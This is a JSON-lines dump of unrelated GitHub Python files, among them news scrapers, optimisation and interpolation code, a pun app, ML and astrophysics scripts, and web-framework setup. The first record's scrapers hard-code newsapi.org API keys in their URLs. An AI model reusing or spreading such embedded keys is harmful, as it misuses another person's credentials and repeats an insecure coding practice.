try:\n title_article=soup.find('h1',{'class':\"entry-title\"})\n #print(\"TITLE\",title_article.string)\n para = soup.find('div',{'class':'td-post-content'}).find_all('p')\n content=''\n for i in para:\n #if not(i.string is None):\n content=content+i.string\n insertIntoDB(time.string,title_article.string, content, \"Good\", content)\n except:\n print(\"removing video articles\") #article\n\t\t\t\ndef newsFromGuardian():\n main_url = \"https://newsapi.org/v2/everything?sources=the-guardian-uk&apiKey=fa6d77b861bc48c2a4bfd93ef6ceaeba\"\n open_bbc_page = requests.get(main_url).json()\n article = open_bbc_page[\"articles\"]\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n try:\n for ar in article:\n print(\"TITLE:\",ar[\"title\"])\n browser.get(ar[\"url\"])\n ans=''\n html = browser.page_source\n soup = BS(html, 'html.parser')\n table = soup.find('div',{'class':re.compile('content__article-body')}).find_all('p')\n for k in table:\n if k.string is not None:\n ans=ans+k.string\n insertIntoDB(ar['publishedAt'],ar[\"title\"], ans, \"the-guardian-uk\", ar[\"url\"])\n except:\n print(\"removing video articles\") #article\n \n \ndef newsFromBBC():\n main_url = \" https://newsapi.org/v2/everything?sources=bbc-news&apiKey=95465951cbf447369c10a005ded49a0b\"\n open_bbc_page = requests.get(main_url).json()\n article = open_bbc_page[\"articles\"]\n results = []\n links = []\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n for ar in article:\n print(\"TITLE:\",ar[\"title\"])\n print(\"DATE:\",ar['publishedAt'])\n try:\n browser.get(ar[\"url\"])\n ans=''\n html = browser.page_source\n soup = BS(html, 'html.parser')\n table = soup.find_all('div',{'class':\"story-body__inner\"})[0].find_all('p',{'class':\"aria-hidden\"})\n for div in table:\n div.decompose()\n table=soup.find_all('div',{'class':\"story-body__inner\"})[0].find_all('p')\n for k in table:\n #if k.string is not None:\n ans=ans+k.string\n insertIntoDB(ar['publishedAt'],ar[\"title\"], ans, \"BBC\", ar[\"url\"])\n except:\n print(\"removing video articles\")\n\t\t\n\t\t\t\ndef newsFromCNBC():\n main_url = \"https://newsapi.org/v2/everything?sources=cnbc&apiKey=cb28b795dd1e469ebbc02ea19535898a\"\n open_cnbc_page = requests.get(main_url).json()\n article = open_cnbc_page[\"articles\"]\n browser = webdriver.PhantomJS(executable_path=\"D:/sw/phantomjs-2.1.1-windows/bin/phantomjs\")\n for ar in article:\n browser.get(ar[\"url\"])\n ans=''\t\t\n html = browser.page_source\n soup = BS(html, 'html.parser')\n try:\n table = soup.find_all('div',{'class':'group-container'})[1].find_all('p')\n for k in table:\n if k.string is not None:\n ans=ans+k.string\n insertIntoDB(ar['publishedAt'],ar[\"title\"], ans, \"CNBC\", ar[\"url\"])\n except:\n print(\"removing video articles\")\n\n\t\t\t\nnewsFromBBC()\t\n#newsFromGuardian()\ngetGoodNetworkNews()\n#newsFromCNBC()\n","repo_name":"nivedita104/PosNews","sub_path":"mongo.py","file_name":"mongo.py","file_ext":"py","file_size_in_byte":4551,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"36108116979","text":"import numpy as np\n\n\nclass HillClimbing:\n \"\"\"\n Maximization Problem.\n \"\"\"\n\n def __init__(self, method='vanilla', noise_scale=0.1, n_candidates=1, up_rate=2, down_rate=0.5, max_noise=2,\n min_noise=0.001):\n\n assert method in ['vanilla', 'steepest_ascent', 'simulated_annealing', 'adaptive_noise_scaling']\n\n self.x_best = None\n self.f_best = -np.inf\n self.noise_scale = noise_scale\n self.n_candidates = n_candidates\n self.down_rate = down_rate\n self.up_rate = up_rate\n self.max_noise = max_noise\n self.min_noise = min_noise\n self.method = method\n\n def step(self, xs, fs):\n\n xs_new = None\n\n if self.method == 'vanilla':\n if fs[0] > self.f_best:\n self.x_best = xs[0]\n self.f_best = fs[0]\n xs_new = [self.x_best + np.random.normal(loc=0, scale=self.noise_scale, size=xs[0].shape)]\n\n if self.method == 'steepest_ascent':\n best_indx = np.argmax(fs)\n\n if fs[best_indx] > self.f_best:\n self.x_best = xs[best_indx]\n self.f_best = fs[best_indx]\n xs_new = [self.x_best + np.random.normal(0, self.noise_scale, size=xs[0].shape) for _ in\n range(self.n_candidates)]\n\n if self.method == 'simulated_annealing':\n best_indx = np.argmax(fs)\n\n if fs[best_indx] > self.f_best:\n self.x_best = xs[best_indx]\n self.f_best = fs[best_indx]\n self.noise_scale /= self.down_rate\n xs_new = [self.x_best + np.random.normal(0, self.noise_scale, size=xs[0].shape) for _ in\n range(self.n_candidates)]\n\n if self.method == 'adaptive_noise_scaling':\n best_indx = np.argmax(fs)\n\n if fs[best_indx] > self.f_best:\n self.x_best = xs[best_indx]\n self.f_best = fs[best_indx]\n self.noise_scale = max(self.noise_scale * self.down_rate, self.min_noise)\n else:\n self.noise_scale = min(self.noise_scale * self.up_rate, self.max_noise)\n\n xs_new = [self.x_best + np.random.normal(0, self.noise_scale, size=xs[0].shape) for _ in\n range(self.n_candidates)]\n\n return xs_new\n","repo_name":"m-fili/CartPole_HillClimbing","sub_path":"gradient_free/hill_climbing.py","file_name":"hill_climbing.py","file_ext":"py","file_size_in_byte":2322,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"29466654927","text":"import argparse\nimport logging\nimport re\nimport os\nimport shutil\nfrom logging import getLogger\n\nimport MeCab\nimport wikipedia\nfrom Levenshtein import distance as D\nfrom pykakasi import kakasi\n\n\nlogging.basicConfig(level=logging.INFO)\nlog = getLogger(__name__)\n\n\nclass Gorgeous:\n \"\"\"\n 君のハートに、レボ☆リューション\n\n gorgeous = Gorgeous()\n gorgeous.revolution(\"まだ助かる\")\n\n >>> マダガスカル\n \"\"\"\n def __init__(self, **kwargs) -> None:\n k = kakasi()\n k.setMode('K', 'a')\n self.conv = k.getConverter()\n self.tagger = MeCab.Tagger()\n self.nations = self.read_nations(**kwargs)\n self.nations_roman = [\n self.romanize(nation) for nation in self.nations]\n self.nations_roman_vowel = [self.extract_vowel(\n self.romanize(nation)) for nation in self.nations]\n self.recent_answer = \"\"\n return\n\n def read_nations(self, fname=\"data/nations.csv\", **kwargs) -> list:\n \"\"\"\n Read csv file \n published on 『国コード一覧CSV ISO 3166-1』\n https://qiita.com/tao_s/items/32b90a2751bfbdd585ea\n \"\"\"\n assert os.path.exists(fname), f\"{fname} is not found\"\n with open(fname, \"r\") as f:\n nations = f.read().split(\"\\n\")\n\n nations = [re.split(\"[,|]\", nation)[0].replace(\"\\\"\", \"\") for nation in nations]\n nations.pop(0)\n return nations\n\n def read_csv_data(self, filepath, **kwargs) -> list:\n with open(filepath, \"r\") as f:\n data = f.read().split(\"\\n\")\n data = [re.split(\"[,|]\", area)[0].replace(\"\\\"\", \"\") for area in data]\n data.pop(0)\n return data\n\n def clean_str(self, s: str) -> str:\n return re.sub(r'[*\\s\\t\\n.,]', \"\", s)\n\n def katakanize(self, s: str, morph=False, **kwargs) -> str:\n \"\"\"\n convert \"kanji\" to \"katakana\"\n \"\"\"\n morphed = [re.split(r\"[,\\t\\s\\n]\", w) for w in self.tagger.parse(s).split(\"\\n\")]\n morphed.remove([\"\"])\n morphed.remove([\"EOS\"])\n \n k = [morph[-1] if morph[-1] != \"*\" else morph[0] for morph in morphed]\n\n if morph: # morphlogical analysed output\n return k\n\n return \"\".join(k)\n\n def romanize(self, s, **kwargs) -> list:\n \"\"\"\n convert \"katakana\" to \"romaji\" via kakasi\n (kanji - kana simple inverter)\n \"\"\"\n s = self.katakanize(s, **kwargs)\n if type(s) == str:\n s = [s]\n return [self.conv.do(w) for w in s]\n\n def extract_vowel(self, word: str, **kwargs) -> str:\n \"\"\"\n extract vowels from romanized words\n \"\"\"\n if type(word) == list:\n return [self.extract_vowel(w) for w in word]\n\n return \"\".join([l for l in word if l in [\"a\", \"i\", \"u\", \"e\", \"o\", \"n\"]])\n\n def revolution(self, sentence: str, app_use=False ,**kwargs):\n \"\"\"\n Revolution: Get Similar Nation Name from Word\n\n gorgeous.revolution(\"まだ助かる\")\n >>> マダガスカル\n\n args\n ----\n n_result : default=5 : lines of result print\n vowel : default=False : if true, word-distance will be calculated based on vowels\n app_use : default=False, if true, returns value of dict with some info\n \"\"\"\n\n # default kargs\n n_result = kwargs.get('n_result', 3)\n vowel = kwargs.get('vowel', False)\n\n answer = dict()\n\n log.info(f\"INPUT: {sentence}\")\n answer[\"input\"] = sentence\n # sentence -> [words] -> [katakana] -> [roman]\n word_roman = self.romanize(sentence, **kwargs)\n log.info(f\"ROMAN: {word_roman}\")\n answer[\"roman\"] = word_roman\n\n if vowel:\n word_vowel = self.extract_vowel(word_roman)\n log.info(f\"VOWEL: {word_vowel}\")\n answer[\"vowel\"] = word_vowel\n dists = [D(word_vowel[-1], nation[0]) for nation in self.nations_roman_vowel]\n else:\n dists = [D(word_roman[-1], nation[0]) for nation in self.nations_roman]\n answer[\"vowel\"] = \"\"\n idx = sorted(range(len(dists)), key=lambda k: dists[k])\n\n # logging\n log.info(\"RESULT:\")\n answer[\"results\"] = []\n for i in range(n_result):\n rank = idx[i]\n nation = self.nations[rank]\n dist = dists[rank]\n roman = self.nations_roman_vowel[rank] if vowel else self.nations_roman[rank]\n # calc score\n roman = roman[0] if type(roman) == list else roman # list -> str\n word_roman = word_roman[0] if type(word_roman) == list else word_roman # list -> str\n score = (len(word_roman) - int(dist)) / len(roman) if len(roman) != 0 else 0\n score = round(100 * score, 2)\n # build message for log and line bot\n msg = f\"No.{i+1} : {nation} ({roman}) : ({dist} : {score}%)\"\n log.info(\"\\t\" + msg)\n answer[\"results\"].append([nation, roman, dist, score])\n\n self.recent_answer = self.nations[idx[0]]\n answer[\"result\"] = self.nations[idx[0]]\n\n # Get meta info\n map_url = self.googlemap()\n log.info(f\"ここ!({map_url})\")\n answer[\"map\"] = map_url\n print(\"-\" * shutil.get_terminal_size()[0]) # draw line\n \n wiki = self.wikipedia()\n log.info(f\"{wiki[1]}!!\\n\")\n _, answer[\"wiki_summary\"], answer[\"wiki_url\"] = wiki\n print(u\"☆\" * shutil.get_terminal_size()[0]) # draw line\n\n # Answer\n if app_use: # returns dict value\n return answer\n return self.recent_answer\n\n def googlemap(self, place=None) -> str:\n \"\"\"generate Google Map Link\"\"\"\n if place is None:\n place = self.recent_answer\n return f\"https://www.google.com/maps/search/{place}/\"\n\n def wikipedia(self, place=None) -> tuple:\n \"\"\"Generate Wikipedia Link\"\"\"\n if place is None:\n place = self.recent_answer\n wikipedia.set_lang(\"ja\")\n p = wikipedia.page(wikipedia.search(place)[0])\n return (p.title, p.summary, p.url)\n\n def showtime(self, **kwargs) -> None:\n print(\"【ゴー☆ジャスのショータイム!】\")\n print(f\"\\n- 【お題】を入力してくれよな!\\n- ランキングを{kwargs.get('n_result', 3)}件表示するぞ!\\n- 地球義ではなく、GoogleMapとWikipediaの情報を出力するぞ!\")\n print(u\"☆\" * shutil.get_terminal_size()[0]) # draw line\n while True:\n place = input(\"\\n【お題】を入力: \")\n if place in [\"終了\", \"end\", \"終わり\"]:\n break\n self.revolution(place, **kwargs)\n print(\"また遊んでくれよな!\")\n return\n\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser(\n description='キミも、ゴー☆ジャスになろう!')\n \n parser.add_argument('-N', '--n_line', help=\"結果表示数\", default=3, type=int)\n parser.add_argument('-F', '--file', help=\"nations.csv ファイルパス\",\n default='nations.csv')\n parser.add_argument('-V', '--vowel', help=\"母音モード\", action='store_true')\n\n args = parser.parse_args()\n gorgeous = Gorgeous(fname=args.file)\n gorgeous.showtime(vowel=args.vowel, n_result=args.n_line)\n","repo_name":"atsukoba/GorgeousApp","sub_path":"app/gorgeous.py","file_name":"gorgeous.py","file_ext":"py","file_size_in_byte":7351,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"}
+{"seq_id":"40065351764","text":"import math\nl = input()\nwhile l:\n try:\n r,x,y = map(float, l.split())\n area = math.pi*r**2\n d = math.sqrt(x**2 + y**2)\n if d > r:\n print(\"miss\")\n else:\n #are of sector - area of triangle\n #area of circle - area of segment\n tmp = r-d\n o = 2*math.acos(d/r)\n seg = 0.5*(o - math.sin(o))*(r**2)\n print(area - seg,seg)\n\n l = input() \n\n except EOFError:\n break\n","repo_name":"nigelandrewquinn/Kattis","sub_path":"halfacookie.py","file_name":"halfacookie.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"24916151396","text":"#Demonstrates a simple GUI\n\nfrom tkinter import *\n\n#Base window\nroot = Tk()\n\n#Editing the window\nroot.title(\"Простейший GUI\")\nroot.geometry(\"200x100\")\n\n#Frame\napp = Frame(root)\napp.grid()\n\n#A Label inside the Frame\nlbl = Label(app, text=\"Это я!\")\nlbl.grid()\n\n#Button1 inside the Frame\nbttn1 = Button(app, text=\"Я ничего не делаю!\")\nbttn1.grid()\n\n#Button2 inside the Frame\nbttn2 = Button(app)\nbttn2.grid()\nbttn2.configure(text=\"Я тоже!\")\n\n#Button3 inside the Frame\nbttn3 = Button(app)\nbttn3.grid()\nbttn3[\"text\"] = \"И я тоже!\"\n\n\nroot.mainloop()","repo_name":"Xomer89/LearningPy","sub_path":"untitled/GUI/simpleGUI.py","file_name":"simpleGUI.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"37443747793","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport numpy as np\nfrom app.libs.utils import safe_int\nfrom app.exception.http_error import MultiValidationException\n\nINPUT = {\n \"X\": [10, 20, 30, 40, 50, 60, 70],\n \"Y\": [12, 21, 46, 65, 90, 111, 148]\n}\n\nclass PolinomialNewton(object):\n xinput: int\n\n def __init__(self, data: dict) -> object:\n self.xinput = safe_int(data.get(\"xinput\", 0))\n \n def prevalidate(self) -> MultiValidationException:\n error = MultiValidationException()\n\n if self.xinput == 0 or \\\n (self.xinput < 10 or self.xinput > 70):\n error.push_error(\"input\", \"Invalid input. Range input: 10-70\")\n\n return error\n\n def to_dict(self) -> dict:\n return self.__polinom_newton()\n\n def __polinom_newton(self) -> dict:\n x = INPUT[\"X\"]\n y = INPUT[\"Y\"]\n n = len(x)-1\n ST = np.zeros((n+1, n+1))\n ST[:, 0] = y\n\n for k in range(1, n+1):\n for i in range(0, n-k+1):\n ST[i, k] = round((ST[i+1, k-1] - ST[i, k-1])/(x[i+k]-x[i]), 5)\n\n p = ST[0,0]\n for i in range(1, n+1):\n a = ST[0, i]\n\n for k in range(0, i):\n a = a * (self.xinput-x[k])\n\n p = p + a\n \n return {\n \"calculate\": ST.tolist(),\n \"result\": p,\n }\n","repo_name":"agprsty-utdi/metode-numerik-app","sub_path":"domain/polinomial_newton.py","file_name":"polinomial_newton.py","file_ext":"py","file_size_in_byte":1355,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"16813782546","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nfrom __future__ import print_function, absolute_import, division\n\nimport os\nimport sys\nimport time\nfrom pprint import pprint\nimport numpy as np\n\nimport torch\nimport torch.nn as nn\nimport torch.optim\nimport torch.backends.cudnn as cudnn\nfrom torch.utils.data import DataLoader\nfrom torch.autograd import Variable\n\nfrom opt import Options\n\nfrom model import LinearModel, weight_init\nfrom train import DatasetTrain, DatasetTest\nimport util\nimport log\n\n\n\ndef main(opt):\n start_epoch = 0\n err_best = 1000\n glob_step = 0\n lr_now = opt.lr\n\n # save options\n\n # create model\n print(\">>> creating model\")\n model = LinearModel()\n model = model.cuda()\n model.apply(weight_init)\n print(\">>> total params: {:.2f}M\".format(sum(p.numel() for p in model.parameters()) / 1000000.0))\n criterion = nn.MSELoss(size_average=True).cuda()\n optimizer = torch.optim.Adam(model.parameters(), lr=opt.lr)\n\n # load ckpt\n if opt.load:\n print(\">>> loading ckpt from '{}'\".format(opt.load))\n # import pdb; pdb.set_trace()\n ckpt = torch.load(opt.load)\n start_epoch = ckpt['epoch']\n err_best = ckpt['err']\n glob_step = ckpt['step']\n lr_now = ckpt['lr']\n model.load_state_dict(ckpt['state_dict'])\n optimizer.load_state_dict(ckpt['optimizer'])\n print(\">>> ckpt loaded (epoch: {} | err: {})\".format(start_epoch, err_best))\n \n\n # list of action(s)\n \n\n # data loading\n # test\n if opt.test:\n \n test_loader = DataLoader(DatasetTest('test.npy','label.npy'), batch_size =128,drop_last=False)\n \n hh=test(test_loader, model, criterion)\n \n print (\">>>>>> TEST results:\")\n \n sys.exit()\n\n # load dadasets for training\n test_loader = DataLoader(DatasetTest('train.npy','label.npy'), batch_size=128,drop_last=False)\n train_loader = DataLoader(DatasetTrain('train.npy','label.npy'), batch_size=128,drop_last=False, shuffle=True)\n print(\">>> data loaded !\")\n\n cudnn.benchmark = True\n for epoch in range(start_epoch, opt.epochs):\n print('==========================')\n print('>>> epoch: {} | lr: {:.5f}'.format(epoch + 1, lr_now))\n\n # per epoch\n glob_step, lr_now, loss_train = train(\n train_loader, model, criterion, optimizer,\n lr_init=opt.lr, lr_now=lr_now, glob_step=glob_step, lr_decay=opt.lr_decay, gamma=opt.lr_gamma,\n max_norm=opt.max_norm)\n loss_test = test(test_loader, model, criterion)\n\n # update log file\n \n\n # save ckpt\n is_best = loss_test < err_best\n err_best = min(loss_test, err_best)\n if is_best:\n \tlog.save_ckpt({'epoch': epoch + 1,\n 'lr': lr_now,\n 'step': glob_step,\n 'err': err_best,\n 'state_dict': model.state_dict(),\n 'optimizer': optimizer.state_dict()},\n ckpt_path=opt.ckpt,\n is_best=True)\n \n\n \n\n\ndef train(train_loader, model, criterion, optimizer,\n lr_init=None, lr_now=None, glob_step=None, lr_decay=None, gamma=None,\n max_norm=True):\n losses = util.AverageMeter()\n\n model.train()\n\n start = time.time()\n batch_time = 0\n \n for i, (inps, tars) in enumerate(train_loader):\n glob_step += 1\n if glob_step % lr_decay == 0 or glob_step == 1:\n lr_now = util.lr_decay(optimizer, glob_step, lr_init, lr_decay, gamma)\n inputs = Variable(inps.cuda())\n targets = Variable(tars.cuda())\n\n outputs = model(inputs)\n\n # calculate loss\n optimizer.zero_grad()\n loss = criterion(outputs, targets)\n losses.update(loss.item(), inputs.size(0))\n loss.backward()\n if max_norm:\n nn.utils.clip_grad_norm(model.parameters(), max_norm=1)\n optimizer.step()\n print (\">>> train error: {} <<<\".format(losses.avg))\n\n # update summary\n\n \n return glob_step, lr_now, losses.avg\n\n\ndef test(test_loader, model, criterion):\n losses = util.AverageMeter()\n\n model.eval()\n\n all_dist = []\n start = time.time()\n batch_time = 0\n results = list()\n for i, (inps, tars) in enumerate(test_loader):\n inputs = Variable(inps.cuda())\n targets = Variable(tars.cuda())\n\n \n outputs = model(inputs)\n results.append(outputs)\n\n # calculate loss\n outputs_coord = outputs\n loss = criterion(outputs_coord, targets)\n\n losses.update(loss.item(), inputs.size(0))\n\n final=torch.cat(results,dim=0)\n final=1000000*final.detach().cpu().numpy()[:,0]\n results_txt = open(\"results.txt\", \"w+\")\n for i in range(final.shape[0]):\n \tresults_txt.write(str(final[i]) + '\\n')\n # update summary\n \n print (\">>> error: {} <<<\".format(losses.avg))\n return losses.avg\n\n\nif __name__ == \"__main__\":\n option = Options().parse()\n main(option)\n\n","repo_name":"WendyBaiYunwei/CS5228-project","sub_path":"task1/nn_approach/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5077,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"2278701279","text":"import matplotlib\nmatplotlib.use('agg')\nimport numpy as np\nimport pickle\nimport numpy\nfrom astropy.io import fits\nfrom galpy.util import bovy_conversion, bovy_coords, save_pickles, bovy_plot\nfrom galpy.potential import MWPotential2014, turn_physical_off, vcirc\nimport astropy.units as u\nfrom galpy.orbit import Orbit\nimport random\nimport pal5_util_MWfit\nimport MWPotential2014Likelihood\nimport os, os.path\nimport re\nimport glob\nimport pickle\nimport csv\nfrom optparse import OptionParser\n_REFR0, _REFV0= MWPotential2014Likelihood._REFR0, MWPotential2014Likelihood._REFV0\nro, vo= _REFR0, _REFV0\n\n\ndef get_options():\n usage = \"usage: %prog [options]\"\n parser = OptionParser(usage=usage)\n \n parser.add_option(\"--ind\",dest='ind',default=None,\n type='int',\n help=\"index of potential\")\n return parser\n\n\ndef determine_nburn(filename='../pal5_mcmc/mwpot14-fitsigma-0.dat',\n threshold=0.1,skip=50,\n return_nsamples=False):\n \"\"\"Function to detemrine an appropriate nburn for a given chain\"\"\"\n # Load the data\n data= numpy.loadtxt(filename,comments='#',delimiter=',')\n lndata= numpy.reshape(data[:,-1],(len(data[:,5])//nwalkers,nwalkers))\n # Perform a running diff wrt skip less\n diff= (lndata-numpy.roll(lndata,skip,axis=0))\n diff[:skip]= -100. # Make sure it's not within the first hundred\n maxln= numpy.nanmax(lndata)\n try:\n indx= (numpy.fabs(numpy.median(diff,axis=1)) < threshold)\\\n *((maxln-numpy.nanmax(lndata,axis=1)) < 1.25)\n if maxln > -22.5:\n indx*= numpy.std(lndata,axis=1) < 3.\n if return_nsamples:\n return len(data)-numpy.arange(len(lndata))[indx][0]*nwalkers\n else:\n return numpy.arange(len(lndata))[indx][0]*nwalkers\n except IndexError:\n if return_nsamples: return 100.\n else: return numpy.prod(lndata.shape)-100\n\n\nnwalkers= 12\n\n#from each MCMC chain file, pick nsamples\nnsamples= 2000\n\npot_ind=np.arange(0,32,1)\npot_ind=np.delete(pot_ind,14)\n\nt_age= np.linspace(0.,5.,1001)/bovy_conversion.time_in_Gyr(vo,ro)\n\nperi_all=[]\n\nparser= get_options()\noptions,args= parser.parse_args()\n\npindx=pot_ind[options.ind]\n\ncsvfo= open('pal5_mcmc_selected_chains_pot{}.dat'.format(pindx),'w')\nfowriter= csv.writer(csvfo,delimiter=',')\n\n# Load this potential\nfn= 'mwpot14-fitsigma-%i.dat' % pindx\nwith open(fn,'rb') as savefile:\n line1= savefile.readline()\npotparams= [float(s) for s in (line1.split(':'.encode())[1].split(','.encode()))]\n\ntnburn= determine_nburn(fn)\ntdata= numpy.loadtxt(fn,comments='#',delimiter=',')\ntdata= tdata[tnburn::]\n\nrand_indx=random.sample(range(len(tdata)),nsamples)\n\nperi=[]\n\nfor jj in rand_indx:\n \n tvo= tdata[jj][1]*_REFV0\n pot= MWPotential2014Likelihood.setup_potential(potparams,tdata[jj][0],False,False,\n pal5_util_MWfit._REFR0,tvo)\n\n # Now compute the stream model for this setup\n dist= tdata[jj][2]*22.\n pmra= -2.296+tdata[jj][3]+tdata[jj][4]\n pmdecpar= 2.257/2.296\n pmdecperp= -2.296/2.257\n pmdec= -2.257+tdata[jj][3]*pmdecpar+tdata[jj][4]*pmdecperp\n vlos= -58.7\n sigv= 0.4*numpy.exp(tdata[jj][5])\n \n \n prog= Orbit([229.018,-0.124,dist,pmra,pmdec,vlos],\n radec=True,ro=ro,vo=tvo,\n solarmotion=[-11.1,24.,7.25]).flip()\n \n prog.integrate(t_age,pot)\n peri=prog.rperi()\n \n out=[peri,tdata[jj][3],tdata[jj][0],tdata[jj][1],sigv]\n out.extend([229.018,-0.124,dist,pmra,pmdec,vlos])\n \n fowriter.writerow(out)\n \ncsvfo.flush()\ncsvfo.close()\n","repo_name":"nbanik/Baryonic-effects-on-Pal5","sub_path":"select_mcmc_chains.py","file_name":"select_mcmc_chains.py","file_ext":"py","file_size_in_byte":3632,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"2763084199","text":"from fastapi import FastAPI as FA\nfrom fastapi.logger import logger\nfrom aioredis import create_redis_pool, Redis\n\nfrom .auth.routes import auth_router, user_router\nfrom .budget.routes import budget_router, transactions_router\n\n\nclass FastAPI(FA):\n def __init__(self) -> None:\n super().__init__()\n self.redis: Redis\n\n\napp = FastAPI()\n\n\n@app.on_event('startup')\nasync def on_start():\n logger.info('App init')\n logger.info('Connecting to redis database ... ')\n redis = await create_redis_pool('redis://redis', db=3)\n app.redis = redis\n\n\n@app.on_event('shutdown')\nasync def on_shutdown():\n app.redis.close()\n await app.redis.wait_closed()\n\n\napp.include_router(auth_router)\napp.include_router(user_router)\napp.include_router(budget_router)\napp.include_router(transactions_router)\n","repo_name":"bensondomingo/budget-backend","sub_path":"app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"36396016914","text":"import os\n\nfrom setuptools import setup, find_packages\n\nhere = os.path.abspath(os.path.dirname(__file__))\nREADME = open(os.path.join(here, 'README.rst')).read()\nCHANGES = open(os.path.join(here, 'CHANGES.rst')).read()\n\nrequires = [\n 'pyramid>=1.4',\n 'PyBrowserID',\n 'requests>=1.0',\n 'MarkupSafe',\n ]\n\nsetup(name='pyramid_persona',\n version='1.6.1',\n description='pyramid_persona',\n long_description=README + '\\n\\n' + CHANGES,\n classifiers=[\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 2\",\n \"Programming Language :: Python :: 3\",\n \"Framework :: Pyramid\",\n \"Topic :: Internet :: WWW/HTTP\",\n ],\n author='Georges Dubus',\n author_email='georges.dubus@gmail.com',\n url='https://github.com/madjar/pyramid_persona',\n keywords='web pyramid pylons authentication persona',\n packages=find_packages(),\n include_package_data=True,\n zip_safe=False,\n install_requires=requires,\n tests_require=requires,\n test_suite=\"pyramid_persona\",\n )\n","repo_name":"madjar/pyramid_persona","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1083,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"82"}
+{"seq_id":"38799631444","text":"from django.contrib import admin\nfrom django.urls import path,include\nfrom blog import views\n\n\nurlpatterns = [\n path('admin/', admin.site.urls),\n path('register/',views.register,name = 'register'),\n path('login/', views.login, name='login'),\n path('blog/',include('blog.urls')),\n path('home/', views.home_unlog,name=\"home_unlog\"),\n path('home/unlog',views.log_out,name=\"log_out\"),\n path('summernote/', include('django_summernote.urls')),\n path('jet/', include('jet.urls', 'jet')),\n path('jet/dashboard/', include('jet.dashboard.urls', 'jet-dashboard')),\n]","repo_name":"githubfqy/EasyDown","sub_path":"EasyDown/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"29673402947","text":"import time\nimport sys\n\ndef timecount(fu):\n def counttime():\n fu()\n t=time.process_time()\n print(t)\n return counttime\n\n@timecount\n\ndef test():\n print('hello')\n time.sleep(1)\n \ntest()\n\ndef fibnq(n):\n a,b,count=0,1,0\n while count \"\n__source = \"https://github.com/pgdr/benchmcmc\"\n__webpage = __source\n__description = \"Use MCMC to do benchmark analysis\"\n\n\ndef _src(x):\n root = os.path.dirname(__file__)\n return os.path.abspath(os.path.join(root, x))\n\n\ndef _read_file(fname, op):\n with open(_src(fname), \"r\") as fin:\n return op(fin.readlines())\n\n\ndef readme():\n try:\n return _read_file(\"README.md\", lambda lines: \"\".join(lines))\n except Exception:\n return __description\n\n\nsetuptools.setup(\n name=\"benchmcmc\",\n version=\"0.0.7\",\n packages=[\"benchmcmc\"],\n description=__description,\n long_description=readme(),\n long_description_content_type=\"text/markdown\",\n author=\"PG Drange\",\n author_email=\"pgdr@equinor.com\",\n maintainer=__pgdr,\n url=__webpage,\n project_urls={\n \"Bug Tracker\": \"{}/issues\".format(__source),\n \"Documentation\": \"{}/blob/master/README.md\".format(__source),\n \"Source Code\": __source,\n },\n license=\"MIT\",\n keywords=\"mcmc, bayesian methods, statistics, benchmark analysis, disaster modeling, unix, command line tool\",\n install_requires=[\"matplotlib\", \"pymc3\"],\n entry_points={\"console_scripts\": [\"benchmcmc=benchmcmc:main\"]},\n)\n","repo_name":"pgdr/benchmcmc","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1279,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"13784482084","text":"from htd_utilities import *\nfrom htd_collaterals import *\nfrom hpl_clocks import *\nfrom htd_hpl_itpp_interface import *\nfrom htd_hpl_signal_manager import *\nfrom htd_hpl_sbftload_manager import *\nfrom hpl_tap_spf_api import *\nfrom hpl_tap_stpl_api import *\nfrom hpl_tap_dfx_api import *\nfrom htd_hpl_interactive_socket_interface import *\nfrom htd_hpl_spf_interface import *\nfrom htd_hpl_xdp_interface import *\nfrom htd_history_manager import *\n# -------------------------------------------------------------------------------------------------------\n# This class is used as a data container for passing arguments from TE Tap action toward HPL Tap manager\n# -------------------------------------------------------------------------------------------------------\n\n\nclass htd_tap_params(object):\n def __init__(self):\n self.ircode = -1\n self.irname = \"\"\n self.agent = \"\"\n self.read_modify_write = 0\n self.bfm_mode = \"normal\"\n self.check = 1\n self.refclock = \"\"\n self.read_type = 0\n self.waitcycles = -1\n self.eptarget = \"\"\n self.dr = htd_argument_containter() # data container storing fields and dri/dro assignment\n # arguments.get_argument(\"VIK\"): -> [ \"VIK[0:2]=2\",\"VIK[5:7]=7\"..... ]\n\n\n# --------------------------------------------------------------------\n# This class is used as an isolation interface between HPL and TE\n# --------------------------------------------------------------------\nclass htd_player_ui(object):\n\n def __init__(self):\n htdte_logger.callBack_for_extensions = self.add_comment\n self.current_action = None\n self.silent_mode = False\n self.interactive_mode = False\n self.labels_history_table_name = \"HPL_Labels\"\n self.current_ratio = 1\n self.default_ratio = 1\n 